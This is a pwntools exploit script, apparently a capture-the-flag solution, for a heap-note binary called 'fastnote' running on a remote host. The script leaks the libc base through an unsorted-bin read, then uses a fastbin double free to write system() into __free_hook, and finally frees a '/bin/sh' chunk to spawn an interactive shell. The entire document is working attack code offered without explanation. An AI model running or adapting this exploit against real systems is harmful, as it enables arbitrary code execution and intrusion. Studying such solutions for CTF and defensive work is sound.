1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93
| from pwn import * context.terminal = ['tmux','splitw','-h']
def payload(lo:int): global sh if lo: sh = process('./fastnote') if lo & 2: gdb.attach(sh) else: sh = remote('106.14.57.14', 32414) libc = ELF('./libc-2.31.so')
def addn(idx:int, size:int, content:bytes=b' ', hooked:bool=False): sh.sendlineafter(b'ice:', b'1') sh.sendlineafter(b'Index', str(idx).encode()) sh.sendlineafter(b'Size', str(size).encode()) if hooked: return sh.sendlineafter(b'Content', content)
def deln(idx:int): sh.sendlineafter(b'ice:', b'3') sh.sendlineafter(b'Index', str(idx).encode())
def show(idx:int) -> bytes: sh.sendlineafter(b'ice:', b'2') sh.sendlineafter(b'Index: ', str(idx).encode()) return sh.recvline()
addn(0, 0x80) addn(1, 0x80) addn(2, 0x80) addn(3, 0x80) addn(4, 0x80) addn(5, 0x80) addn(6, 0x80) addn(7, 0x80) deln(7) deln(6) deln(5) deln(4) deln(3) deln(2) deln(1) deln(0) ret = show(0)
dumpArena = libc.symbols['__malloc_hook'] + (libc.symbols['__malloc_hook'] - libc.symbols['__realloc_hook']) * 2 mainArena = u64(ret[:6] + b'\0\0') libcBase = mainArena - dumpArena - 0x60 print(f'\x1b[33mleak libcBase: {hex(libcBase)}\x1b[0m') freeHook = libcBase + libc.symbols['__free_hook'] systemAddr = libcBase + libc.symbols['system']
addn(15, 0x28) addn(0, 0x18) addn(1, 0x18) addn(2, 0x18) addn(3, 0x18) addn(4, 0x18) addn(5, 0x18) addn(6, 0x18) addn(7, 0x18) addn(8, 0x18) deln(8) deln(7) deln(6) deln(5) deln(4) deln(3) deln(2) deln(1) deln(0) deln(1) addn(14, 0x18) addn(14, 0x18) addn(14, 0x18) addn(14, 0x18) addn(14, 0x18) addn(14, 0x18) addn(14, 0x18) addn(0, 0x18, p64(freeHook)) addn(1, 0x18) addn(2, 0x18) addn(3, 0x18, p64(systemAddr)) addn(4, 0x48, b'/bin/sh\0') deln(4)
sh.clean() sh.interactive()
|